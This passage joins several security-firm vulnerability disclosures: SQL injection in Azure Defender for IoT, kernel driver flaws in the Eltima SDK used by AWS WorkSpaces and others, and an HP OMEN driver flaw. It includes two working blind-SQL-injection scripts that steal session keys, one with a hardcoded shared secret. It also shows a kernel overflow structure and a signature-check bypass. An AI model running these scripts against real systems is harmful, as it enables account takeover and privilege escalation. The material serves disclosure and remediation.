For the PoC of this vulnerability, we used the api/sensors/v1/sync API. We created the following script to extract a logged in user session id from the database, which eventually allows us to take over the account.
import requests
import datetime
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
HOST = "https://192.168.126.150"
def startAttack():
sessionKey = ""
for currChr in range(1, 40):
bitStr = ""
for currBit in range(0, 8):
sql = "aleg' union select if(ord(substr((SELECT session_key from django_session WHERE LENGTH(session_data) > 70 ORDER BY expire_date DESC LIMIT 1),{0},1)) >>{1} & 1 = 1 ,sleep(3),0),2,3 -- a".format(currChr, currBit)
body = {
"token": "aleg",
"uid": sql
}
now = datetime.datetime.now()
res = requests.post(HOST + "/api/sensors/v1/sync", json=body, verify=False)
if (datetime.datetime.now() - now).seconds > 2:
bitStr += "1"
print(1)
else:
bitStr += "0"
print(0)
final = bitStr[::-1]
print(final)
print(int(final, 2))
chrNum = int(final, 2)
if not chrNum:
return
sessionKey += chr(chrNum)
print("SessionKey: " + sessionKey)
def main():
startAttack()
if __name__ == "__main__":
main()
An example of this script output:
After extracting the session id from the database, we can log in to the management web interface, at which point there are several methods to execute code as root. For example, we could change the password and login to the SSH server (these users are sudoers), use the script scheduling mechanism, or use the command injection vulnerability we mentioned earlier in this post.
This attack is made easy due to the lack of session validation. There is no further layer of validation, such as verifying that the session id is used from the same IP address and User-Agent as the initiator of the session.
CVE-2021-42311
The UpdateHandshakeHandlers::is_connected function is also prone to SQL injection.
The class UpdateHandshakeHandler inherits from BaseHandler, which is accessible for unauthenticated users and can be reached via the API: /api/v1/token/update-handshake.
However, this time there is a twist: the _post function does token verification.
class UpdateHandshakeHandlers(BaseHandler):
def __init__(self):
super(UpdateHandshakeHandlers, self).__init__()
self.update_secret = update_secret
def is_connected(self, sensor_uid):
with MySQLClient("127.0.0.1", mysql_user, mysql_password, "management") as client:
logger.info("fetching the sensor version from db")
xsenses = client.execute_select_query(
"SELECT id, UID FROM xsenses WHERE UID = '{}'".format(sensor_uid))
if len(xsenses) > 0:
logger.info("sensor {} found on db".format(sensor_uid))
return True
else:
logger.info("sensor {} not in db".format(sensor_uid))
return False
def _post(self):
try:
body = self.parse_body()
except Exception as ex:
return self.generic_handler(self.invalid_body)
try:
sensor_update_secret = body['update_secret']
sensor_uid = body['xsenseUID']
if sensor_update_secret != self.update_secret:
raise Exception('invalid secret')
if not self.is_connected(sensor_uid):
raise Exception('only supported with connected sensors')
except Exception as ex:
logging.exception('failed to fetch new token')
return self.generic_handler(self.invalid_token)
logger.info("update handshake succeeded")
token = {
'token': tokens.get_token()
}
return token
This means the API requires a secret token, and without it we cannot exploit this SQL injection vulnerability. Fortunately, this API token is not that secretive. This update.token is hardcoded in the file index.properties and is shared across all Defender For IoT installations worldwide, which means that an attacker may exploit this vulnerability without any authentication.
We created the following script to extract a logged in user session id from the database, which allows us to take over the account.
import requests
import datetime
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
HOST = "https://10.100.102.253"
def startAttack():
sessionKey = ""
for currChr in range(1, 40):
bitStr = ""
for currBit in range(0, 8):
sql = "aleg' union select if(ord(substr((SELECT session_key from django_session WHERE LENGTH(session_data) > 70 ORDER BY expire_date DESC LIMIT 1),{0},1)) >>{1} & 1 = 1 ,sleep(3),0),2 -- a".format(currChr, currBit)
body = {
"update_secret": "93960370-2f5f-4be1-813e-b7a3768ad288",
"xsenseUID": sql
}
now = datetime.datetime.now()
res = requests.post(HOST + "/api/v1/token/update-handshake", json=body, verify=False)
if (datetime.datetime.now() - now).seconds > 2:
bitStr += "1"
print(1)
else:
bitStr += "0"
print(0)
final = bitStr[::-1]
print(final)
print(int(final, 2))
chrNum = int(final, 2)
if not chrNum:
return
sessionKey += chr(chrNum)
print("SessionKey: " + sessionKey)
def main():
startAttack()
if __name__ == "__main__":
main()
As with the first SQL injection vulnerability, after extracting the session id from the database, we can use any of the methods mentioned above to execute code as root.
CVE-2021-37222
The sensor machine uses RCDCAP (an open source project) to open CISCO ERSPAN and HP ERM encapsulated packets.
The functions ERSPANProcessor::processImpl and HPERMProcessor::processImpl methods are vulnerable to a wildcopy heap based buffer overflow vulnerability, which can potentially allow arbitrary code execution, when processing specially crafted input.
These functions are vulnerable to a wildcopy heap based buffer overflow vulnerability, which can potentially allow arbitrary code execution.
This vulnerability was found by locally fuzzing RCDCAP with pcap files and occurs when this line is executed:
This was reported to the code owner and MSRC; the code owner has already issued a fix:
MSRC, however, decided that this vulnerability does not meet the bar for a MSRC security update and the development group might decide to fix it as needed.
Impact
Who is affected? Azure Defender for IoT running with unpatched systems are affected. Since this product has many configurations, for example RTOS, which have not been tested, users of these systems can be affected as well.
What is the risk? Successful attack may lead to full network compromise, since Azure Defender For IoT is configured to have a TAP (Terminal Access Point) on the network traffic. Access to sensitive information on the network could open a number of sophisticated attacking scenarios that could be difficult or impossible to detect.
Mitigation
We responsibly disclosed our findings to MSRC in June 2021, and Microsoft has released a security advisory with patch details December 2021, which can be found here, here, here, here and here.
While we have no evidence of in-the-wild exploitation of these vulnerabilities, we further recommend revoking any privileged credentials deployed to the platform before the cloud platforms have been patched, and checking access logs for irregularities.
Conclusion
Cloud providers heavily invest in securing their platforms, but unknown zero-day vulnerabilities are inevitable and put customers at risk. Itβs particularly concerning when it comes to IoT and OT devices that have little to no defenses and depend entirely on these vulnerable platforms for their security posture. Cloud users should take a defense-in-depth approach to cloud security to ensure breaches are detected and contained, whether the threat comes from the outside or from the platform itself.
As part of SentinelLabsβ commitment to advancing public security, we actively invest in research, including advanced threat modeling and vulnerability testing of cloud platforms and related technologies and widely share our findings in the interest of protecting all users.
Disclosure Timeline
June 21, 2021 β Initial report to MSRC.
June 24, 2021 β Initial response from MSRC
June 30, 2021 β MSRC requests a PoC video and code.
July 1, 2021 β We shared the code and a PoC video with MSRC.
July 16, 2021 β MSRC confirmed the bug and started working on a fix.
SentinelLabs has discovered a number of high severity flaws in driver software affecting numerous cloud services.
Cloud desktop solutions like Amazon Workspaces rely on third-party libraries, including Eltima SDK, to provide βUSB over Ethernetβ capabilities that allow users to connect and share local devices like webcams. These cloud services are in use by millions of customers worldwide.
Vulnerabilities in Eltima SDK, derivative products, and proprietary variants are unwittingly inherited by cloud customers.
These vulnerabilities allow attackers to escalate privileges enabling them to disable security products, overwrite system components, corrupt the operating system, or perform malicious operations unimpeded.
SentinelLabsβ findings were proactively reported to the vulnerable vendors during Q2 2021 and the vulnerabilities are tracked as CVE-2021-42972, CVE-2021-42973, CVE-2021-42976, CVE-2021-42977, CVE-2021-42979, CVE-2021-42980, CVE-2021-42983, CVE-2021-42986, CVE-2021-42987, CVE-2021-42988, CVE-2021-42990, CVE-2021-42993, CVE-2021-42994, CVE-2021-42996, CVE-2021-43000, CVE-2021-43002, CVE-2021-43003, CVE-2021-43006, CVE-2021-43637, CVE-2021-43638, CVE-2021-42681, CVE-2021-42682, CVE-2021-42683, CVE-2021-42685, CVE-2021-42686, CVE-2021-42687, CVE-2021-42688.
Vendors have released security updates to address these vulnerabilities. Some of these are automatically applied while others require customer actions.
At this time, SentinelLabs has not discovered evidence of in-the-wild abuse.
Introduction
Throughout 2020-2021, organizations worldwide needed to adopt new work models, including work from home (WFH), in response to the COVID-19 pandemic. This required organizations to make use of various solutions that allow WFH employees to securely access their organizationβs assets and resources. As a result, the market for WFH solutions has seen tremendous growth, but security has not necessarily evolved accordingly.
In this post, we disclose details of multiple vulnerabilities we discovered in major cloud services including:
Amazon AppStream client version below: 1.1.304, 2021/08/02
NoMachine [all products for Windows], above v4.0.346 below v.7.7.4 (v.6.x is being updated as well)
Accops HyWorks Client for Windows: version v3.2.8.180 or older
Accops HyWorks DVM Tools for Windows: version 3.3.1.102 or lower (Part of Accops HyWorks product earlier than v3.3 R3)
Eltima USB Network Gate below 9.2.2420 above 7.0.1370
Amzetta zPortal Windows zClient <= v3.2.8180.148
Amzetta zPortal DVM Tools <= v3.3.148.148
FlexiHub below 5.2.14094 (latest) above 3.3.11481
Donglify below 1.7.14110 (latest) above 1.0.12309
It is important to note that:
These vulnerabilities originated from a library developed and provided by Eltima, which is in use by several cloud providers.
Both the end user (AWS WorkSpaces client in this example) and cloud service (AWS WorkSpaces running in AWS Cloud) are vulnerable to various vulnerabilities we will discuss below. This peculiarity can be attributed to code-sharing between both the server side and client side applications.
While we have confirmed these vulnerabilities for AWS, NoMachine and Accops, our testing was limited in scope to these vendors, and we believe it is highly likely other cloud providers using the same libraries would be vulnerable.
Also, of the vendors tested, not all vendors were tested for both client side and server side vulnerabilities; consequently, there might also be further instances of the vulnerabilities there.
Technical Details
While these vulnerabilities affect multiple products, the technical details below will mainly focus on AWS WorkSpaces as an example. This is where our research began, and the flaws are essentially the same across all mentioned products.
Amazon WorkSpaces is a fully managed and persistent desktop virtualization service that enables users to access data, applications, and resources they need anywhere from any supported device. WorkSpaces supports provisioning Windows or Linux desktops and can be quickly scaled to provide thousands of desktops to workers across the globe.
WorkSpaces increases security by keeping data off the end userβs device and increasing reliability with the power of the AWS Cloud, an increasingly valuable service for the growing remote workforce.
As shown above, authentication and session orchestration is done over HTTPS, while the data stream is either PCoIP (PC Over IP) or WSP (WorkSpaces Streaming Protocol), a proprietary protocol.
The main difference between them is that on Amazon WorkSpaces, only WSP supports device redirection such as smart cards and webcams. This is where the vulnerabilities reside.
The WSP protocol consists of several libraries, some of which are provided by 3rd parties. One of these is the Eltima SDK. Eltima develops a product called βUSB Over Ethernetβ, which enables remote USB redirection.
The same product, with some modifications, is used by Amazon WorkSpaces to enable its users to redirect USB devices to their remote desktop, allowing them to connect devices such as USB webcams to Zoom calls directly from the remote desktop.
The program is bundled with the βclientβ (connect to other shared devices) and the βserverβ (share a device over the internet):
The drivers responsible for USB redirection are wspvuhub.sys and wspusbfilter.sys, both of which are vulnerable and seem to have been in use since the beginning of 2020, when WSP protocol was announced.
Before going through the vulnerabilities, itβs important to understand how the Windows Kernel IO Manager (IOMgr) works. When a user-mode thread sends an IRP_MJ_DEVICE_CONTROL packet, it passes input and output data between the user-mode and kernel-mode, depending on the I/O Control (IOCTL) code invoked. As per Microsoftβs documentation, βan I/O control code is a 32-bit value that consists of several fieldsβ, as illustrated in the following figure:
Input/output Control Code Structure; source: Microsoft
For the purposes of this post, we will focus on the two least significant bits, TransferType. The documentation tells us that these bits indicate how the system will pass data between the caller of NtDeviceIoControlFile syscall and the driver that handles the IRP.
There are three ways to exchange data between kernel mode and user mode using an IRP:
METHOD_BUFFERED β considered the most secure. Using this method IOMgr will copy the caller input data out of, and then into, the supplied caller output buffer.
METHOD_IN/OUT_DIRECT β Depending on the data direction, the IOMgr will supply an MDL that describes a buffer, and ensures that the executing thread has read/write-access to the buffer. IOCTL routines can then lock the buffer to the memory.
METHOD_NEITHER β considered more prone to faults. The IOMgr doesnβt map/validate the supplied buffer; the IOCTL handler receives a user-mode address. This is mostly used for high speed data processing.
The vulnerable IOCTL handlers, which contain several vulnerabilities and are the same across all vulnerable products, are 0x22005B and 0x22001B.
This code deals with a user buffer of type METHOD_NEITHER (Type3InputBuffer)
This means that the IOCTL handler is responsible for validating, probing, locking, and mapping the buffer itself depending on the use case.
This opens up many possibilities to exploit the device, such as double fetches, and arbitrary pointer dereference, which can lead to other vulnerabilities as well. In the image below, it can be seen that buffer verification does not exist at all in this code:
IOCTL 0x22001B Handler
Hereβs a brief explanation of this code:
First, the routine checks whether the calling process is 32bit or 64bit (red arrow).
It then decides whether to use alloc_size_64bit or alloc_size_32bit based on the first checkβs results (blue arrow) .
Next, there is a call to ExAllocatePoolWithTag_wrapper with user controlled size parameter (pink arrow).
At this point, the code proceeds to blocks that handle 32 bit memmove (yellow arrow) and 64 bit memmove (green arrow). As can be seen in the image, at this stage there are cases of insecure arithmetic operations on user controlled data without any overflow checks when calculating the copy size, which can lead to integer overflows that might eventually lead to arbitrary code execution.
Generally speaking, accessing (reading/writing) user-mode addresses requires probing. Dealing with Type3InputBuffer also requires you to lock the pages to the memory and only fetch data once.
The easiest way to cause an overflow in this code is by passing different parameters for the allocation and copy functions. This can be done by crafting a special IRP:
struct struct_usercontrolled {
int gap1;
int firstObject_handle;
int secondObject_handle;
int thirdObject_handle;
int alloc_size_32bit;
unsigned int gap2;
unsigned int copy_size_32bit;
unsigned int alloc_size_64bit;
unsigned int gap3;
unsigned int copy_size_64bit;
}
Where either copy_size_64bit or copy_size_32bit are greater than alloc_size_32bit or alloc_size_64bit.
Even if the copy size and allocation size were the exact same parameter, the code is still exploitable due to the fact that there are insecure arithmetic operations when calculating the memmove size parameter.
In a simplified version, to trigger this vulnerability, an attacker may send the following IOCTL (assuming running a 64bit process):
This code will result in allocation of 0x20 bytes:
3: kd> r
rax=0000000000000000 rbx=ffff92889d98ad40 rcx=0000000000000001
rdx=0000000000000020 rsi=ffff92889d98a000 rdi=000000603e8ff5c8
rip=fffff80627175366 rsp=ffffde0f29eed6e0 rbp=0000000000000000
r8=0000000000004c50 r9=fffff806271761e0 r10=fffff80627170ca0
r11=0000000000000000 r12=ffff92889962bc40 r13=0000000000000000
r14=0000000000000020 r15=ffff92889949eb38
iopl=0 nv up ei pl zr na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040246
wspvuhub+0x15366:
fffff806`27175366 e899c6ffff call wspvuhub+0x11a04 (fffff806`27171a04)
and copying of 0x435 bytes:
3: kd> r
rax=ffffad0e69959eb0 rbx=ffff92889d98ad40 rcx=ffffad0e69959eb0
rdx=000000603e8ff5c8 rsi=ffffad0e69959eb0 rdi=000000603e8ff5c8
rip=fffff80627175420 rsp=ffffde0f29eed6e0 rbp=0000000000000000
r8=0000000000000435 r9=00000000000001b0 r10=0000000000004c50
r11=0000000000001001 r12=ffff92889962bc40 r13=0000000000000000
r14=0000000000000020 r15=ffff92889949eb38
iopl=0 nv up ei pl zr na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040246
wspvuhub+0x15420:
fffff806`27175420 e85b090000 call wspvuhub+0x15d80 (fffff806`27175d80)
Since we control both the data and the size this makes a very strong primitive to achieve code execution in kernel mode.
BSoD Proof Of Concept
Using the DeviceTree tool from OSR, we can see that this driver accepts IOCTLs without ACL enforcements (note: Some drivers handle access to devices independently in IRP_MJ_CREATE routines):
Using DeviceTree software to examine the security descriptor of the device
This means the vulnerability can be triggered from sandboxes and might be exploitable in contexts other than just local privilege escalation. For example, it might be used as a second stage browser attack (although most modern browsers have a list of allowed IOCTLs requests) or other sandboxes for that matter.
Impact
Who is affected? Users with the mentioned client versions are prone to vulnerabilities that if exploited successfully may be used to gain high privileges. Since the vulnerable code exists in both the remote and local side, remote desktops are also affected by this vulnerability.
What is the risk? These high severity flaws could allow any user on the computer, even without privileges, to escalate privileges and run code in kernel mode. Among the obvious abuses of such vulnerabilities are that they could be used to bypass security products. An attacker with access to an organizationβs network may also gain access to execute code on unpatched systems and use this vulnerability to gain local elevation of privilege. Attackers can then leverage other techniques to pivot to the broader network, like lateral movement.
Recommendations
We responsibly disclosed our findings to product vendors. We are aware of the following vendor responses:
Select your directory, and choose Actions, Update Details.
Expand Maintenance Mode.
Make sure to update the client application.
While we have no evidence of in-the-wild exploitation of these vulnerabilities, we further recommend revoking any privileged credentials deployed to the platform before the cloud platforms have been patched and checking access logs for irregularities.
Conclusion
Vulnerabilities in third-party code have the potential to put huge numbers of products, systems, and ultimately, end users at risk, as weβve noted before. The outsized effect of vulnerable dependency code is magnified even further when it appears in services offered by cloud providers. We urge all organizations relying on the affected services to review the recommendations above and take appropriate action.
As part of the commitment of SentinelLabs to advancing public cloud security, we actively invest in public cloud research, including advanced threat modeling and vulnerability testing of cloud platforms and related technologies. For maximum protection, we strongly recommend using SentinelOne Singularity platform.
We would like to thank those vendors that responded to our disclosure and for remediating the vulnerabilities quickly.
Disclosure Timeline
Amazon
May 2, 2021 β Initial disclosure.
May 2, 2021 β First response from AWS security team.
May 7, 2021 β AWS security team report that theyβre still actively investigating the issue.
May 13, 2021- AWS security team report that theyβre still actively investigating the issue.
May 18, 2021 β AWS security team acknowledged the reported issues.
Jun 25, 2021 β AWS security team reported that they pushed out a fix to all regions.
Jul 1, 2021 β AWS security team asked for more technical details regarding the issues.
Jul 11, 2021 β SentinelOne answers the questions.
Eltima
Jun 6, 2021 β Initial disclosure.
Jun 14, 2021 β Eltima Support first responded that theyβre reviewing the report.
Jun 15, 2021 β Eltima Support claimed that they are aware of the vulnerabilities, but itβs resolved because the feature is turned off.
Jun 15, 2021- We responded that the product is still vulnerable even if the feature is turned off.
Jun 15, 2021 β Eltima Support responded that they discontinued using those IOCTLs due to security reasons but for backward compatibility they still keep it.
Jun 19, 2021 β We clarified that the vulnerable code is still reachable and exploitable.
Jun 29, 2021 β Eltima Support responded that their team started the work on a new build without the mentioned vulnerabilities.
Jul 1, 2021 β Eltima Support requests more time.
Sep 6, 2021- Eltima notified us that they released fixed versions for their products.
Accops
Jun 28, 2021 β Initial disclosure.
Jun 28, 2021 β Accops first responded that theyβre reviewing the report.
Sep 5, 2021 β Accops reported that the issue is fixed and updated modules are available from Accops website and support portal for download. Customers are notified to upgrade to new versions. Fixed modules are Accops HyWorks Client for Windows version 3.2.8.200 onwards and Accops HyWorks DVM Tools for Windows version 3.3.1.105 onwards (part of Accops HyWorks release 3.3 R3).
Dec 4, 2021 β Accops has released a utility to detect vulnerable endpoints. The utility is downloadable from Accops support site.
Mechdyne
We tried to contact Mechdyne several times during June 2021 to September 2021 but did not receive a response.
Amzetta
Jul 1, 2021 β Initial disclosure.
Jul 2, 2021 β Amzetta acknowledges the vulnerabilities and removed the product from their website.
Sep 3, 2021 β Amzetta notified us that they released fixed versions for their products.
NoMachine
Jun 28, 2021 β Initial disclosure.
Jul 5, 2021 β NoMachine acknowledges the vulnerabilities.
Oct 21, 2021 β NoMachine informed us that the patches are released.
SentinelLabs has discovered a high severity flaw in an HP OMEN driver affecting millions of devices worldwide.
Attackers could exploit these vulnerabilities to locally escalate to kernel-mode privileges. With this level of access, attackers can disable security products, overwrite system components, corrupt the OS, or perform any malicious operations unimpeded.
SentinelLabsβ findings were proactively reported to HP on Feb 17, 2021 and the vulnerability is tracked as CVE-2021-3437, marked with CVSS Score 7.8.
HP has released a security update to its customers to address these vulnerabilities.
At this time, SentinelOne has not discovered evidence of in-the-wild abuse.
Introduction
HP OMEN Gaming Hub, previously known as HP OMEN Command Center, is a software product that comes preinstalled on HP OMEN desktops and laptops. This software can be used to control and optimize settings such as device GPU, fan speeds, CPU overclocking, memory and more. The same software is used to set and adjust lighting and other controls on gaming devices and accessories such as mouse and keyboard.
Following on from our previous research into other HP products, we discovered that this software utilizes a driver that contains vulnerabilities that could allow malicious actors to achieve a privilege escalation to kernel mode without needing administrator privileges.
CVE-2021-3437 essentially derives from the HP OMEN Gaming Hub software using vulnerable code partially copied from an open source driver. In this research paper, we present details explaining how the vulnerability occurs and how it can be mitigated. We suggest best practices for developers that would help reduce the attack surface provided by device drivers with exposed IOCTLs handlers to low-privileged users.
Technical Details
Under the hood of HP OMEN Gaming Hub lies the HpPortIox64.sys driver, C:\Windows\System32\drivers\HpPortIox64.sys. This driver is developed by HP as part of OMEN, but it is actually a partial copy of another problematic driver, WinRing0.sys, developed by OpenLibSys.
The link between the two drivers can readily be seen as on some signed HP versions the metadata information shows the original filename and product name:
File Version information from CFF Explorer
Unfortunately, issues with the WinRing0.sys driver are well-known. This driver enables user-mode applications to perform various privileged kernel-mode operations via IOCTLs interface.
The operations provided by the HpPortIox64.sys driver include read/write kernel memory, read/write PCI configurations, read/write IO ports, and MSRs. Developers may find it convenient to expose a generic interface of privileged operations to user mode for stability reasons by keeping as much code as possible from the kernel-module.
The IOCTL codes 0x9C4060CC, 0x9C4060D0, 0x9C4060D4, 0x9C40A0D8, 0x9C40A0DC and 0x9C40A0E0 allow user mode applications with low privileges to read/write 1/2/4 bytes to or from an IO port. This could be leveraged in several ways to ultimately run code with elevated privileges in a manner we have previously described here.
The following image highlights the vulnerable code that allows unauthorized access to IN/OUT instructions, with IN instructions marked in red and OUT instructions marked in blue:
The Vulnerable Code β unauthorized access to IN/OUT instructions
Since I/O privilege level (IOPL) equals the current privilege level (CPL), it is possible to interact with peripheral devices such as internal storage and GPU to either read/write directly to the disk or to invoke Direct Memory Access (DMA) operations. For example, we could communicate with ATA port IO for directly writing to the disk, then overwrite a binary that is loaded by a privileged process.
For the purposes of illustration, we wrote this sample driver to demonstrate the attack without pursuing an actual exploit:
This ATA PIO read/write is based on LearnOS. Running this driver will result in the following DebugView prints:
Debug logging from the driver in DbgView utility
Trying to restart this machine will result in an βOperating System not foundβ error message because our demo driver destroyed the first sector of the disk (the MBR).
The machine fails to boot due to corrupted MBR
Itβs worth mentioning that the impact of this vulnerability is platform dependent. It can potentially be used to attack device firmware or perform legacy PCI access by accessing ports 0xCF8/0xCFC. Some laptops may have embedded controllers which are reachable via IO port access.
Another interesting vulnerability in this driver is an arbitrary MSR read/write, accessible via IOCTLs 0x9C402084 and 0x9C402088. Model-Specific Registers (MSRs) are registers for querying or modifying CPU data. RDMSR and WRMSR are used to read and write to MSR accordingly. Documentation for WRMSR and RDMSR can be found on Intel(R) 64 and IA-32 Architecture Software Developerβs Manual Volume 2 Chapter 5.
In the following image, arbitrary MSR read is marked in green, MSR write in blue, and HLT is marked in red (accessible via IOCTL 0x9C402090, which allows executing the instruction in a privileged context).
Vulnerable code with unauthorized access to MSR registers
Most modern systems only use MSR_LSTAR during a system call transition from user-mode to kernel-mode:
MSR_LSTAR MSR register in WinDbg
It should be noted that on 64-bit KPTI enabled systems, LSTAR MSR points to nt!KiSystemCall64Shadow.
The entire transition process looks something like as follows:
The entire process of transition from the User Mode to Kernel mode
These vulnerabilities may allow malicious actors to execute code in kernel mode very easily, since the transition to kernel-mode is done via an MSR. This is basically an exposed WRMSR instruction (via IOCTL) that gives an attacker an arbitrary pointer overwrite primitive. We can overwrite the LSTAR MSR and achieve a privilege escalation to kernel mode without needing admin privileges to communicate with this device driver.
Using the DeviceTree tool from OSR, we can see that this driver accepts IOCTLs without ACLs enforcements (note: Some drivers handle access to devices independently in IRP_MJ_CREATE routines):
Using DeviceTree software to examine the security descriptor of the deviceThe function that handles IOCTLs to write to arbitrary MSRs
Weaponizing this kind of vulnerability is trivial as thereβs no need to reinvent anything; we just took the msrexec project and armed it with our code to elevate our privileges.
Initially, HP developed a fix that verifies the initiator user-mode applications that communicate with the driver. They open the nt!_FILE_OBJECT of the callee, parsing its PE and validating the digital signature, all from kernel mode. While this in itself should be considered unsafe, their implementation (which also introduced several additional vulnerabilities) did not fix the original issue. It is very easy to bypass these mitigations using various techniques such as βProcess Hollowingβ. Consider the following program as an example:
int main() {
puts("Opening a handle to HpPortIO\r\n");
hDevice = CreateFileW(L"\\\\.\\HpPortIO", FILE_ANY_ACCESS, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("failed! getlasterror: %d\r\n", GetLastError());
return -1;
}
printf("succeeded! handle: %x\r\n", hDevice);
return -1;
}
Running this program against the fix without Process Hollowing will result in:
Opening a handle to HpPortIO failed!
getlasterror: 87
While running this with Process Hollowing will result in:
Opening a handle to HpPortIO succeeded!
handle: <HANDLE>
Itβs worth mentioning that security mechanisms such as PatchGuard and security hypervisors should mitigate this exploit to a certain extent. However, PatchGuard can still be bypassed. Some of its protected structure/data are MSRs, but since PatchGuard samples these assets periodically, restoring the original values very quickly may enable you to bypass it.
Impact
An exploitable kernel driver vulnerability can lead an unprivileged user to SYSTEM, since the vulnerable driver is locally available to anyone.
This high severity flaw, if exploited, could allow any user on the computer, even without privileges, to escalate privileges and run code in kernel mode. Among the obvious abuses of such vulnerabilities are that they could be used to bypass security products.
An attacker with access to an organizationβs network may also gain access to execute code on unpatched systems and use these vulnerabilities to gain local elevation of privileges. Attackers can then leverage other techniques to pivot to the broader network, like lateral movement.
Impacted products:
HP OMEN Gaming Hub prior to version 11.6.3.0 is affected
HP OMEN Gaming Hub SDK Package prior 1.0.44 is affected
Development Suggestions
To reduce the attack surface provided by device drivers with exposed IOCTLs handlers, developers should enforce strong ACLs on device objects, verify user input and not expose a generic interface to kernel mode operations.
Remediation
HP released a Security Advisory on September 14th to address this vulnerability. We recommend customers, both enterprise and consumer, review the HP Security Advisory for complete remediation details.
Conclusion
This high severity vulnerability affects millions of PCs and users worldwide. While we havenβt seen any indicators that these vulnerabilities have been exploited in the wild up till now, using any OMEN-branded PC with the vulnerable driver utilized by OMEN Gaming Hub makes the user potentially vulnerable. Therefore, we urge users of OMEN PCs to ensure they take appropriate mitigating measures without delay.
We would like to thank HP for their approach to our disclosure and for remediating the vulnerabilities quickly.
Disclosure Timeline
17, Feb, 2021 β Initial report
17, Feb, 2021 β HP requested more information
14, May, 2021 β HP sent us a fix for validation
16, May, 2021 β SentinelLabs notified HP that the fix was insufficient
07, Jun, 2021 β HP delivered another fix, this time disabling the whole feature
27, Jul, 2021 β HP released an update to the software on the Microsoft Store
14, Sep 2021 β HP released a security advisory for CVE-2021-3437
14, Sep 2021 β SentinelLabsβ research published